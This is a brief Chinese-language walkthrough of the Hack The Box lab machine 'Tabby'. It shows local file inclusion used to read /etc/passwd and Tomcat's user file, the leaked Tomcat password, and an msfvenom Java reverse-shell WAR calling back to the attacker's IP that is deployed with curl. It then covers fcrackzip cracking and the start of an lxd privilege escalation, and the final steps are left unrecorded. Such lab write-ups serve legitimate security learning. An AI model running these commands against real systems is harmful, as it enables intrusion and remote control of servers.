Hack the box靶机 Tabby

开放80和8080
查看一下

点击news时发生错误
看见？file=
可能有文件包含
先修改/etc/hosts 把10.10.10.194 megahosting.htb加入

再次访问
可以成功访问了
接下来测试是否是文件包含漏洞

访问/etc/passwd
发现用户ash

8080上市tomcat9
访问/usr/share/tomcat9/etc/tomcat-users.xml

tomcat登录账号
tomcat：$3cureP4s5w0rd123!

登录成功
tomcat操作手册

msfvenom -p java/shell_reverse_tcp LHOST=10.10.16.6 LPORT=4444 -f war -o shell.war  //生成exp
curl --user 'tomcat:$3cureP4s5w0rd123!' --upload-file shell.war "http://10.10.10.194:8080/manager/text/deploy?path=/shell.war"    //上传exp

发现一个.zip文件

下载后发现需要密码
fcrackzip爆破

没发现压缩包里有什么信息
到时admin@it可以当作ash的密码

wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
chmod +x build-alpine
./build-alpine
python -m SimpleHTTPServer 80

wget http://10.10.16.6/alpine-v3.12-x86_64-20200921_0435.tar.gz

没记录过程
给了链接吧
可以直接去看提权过程
提权方法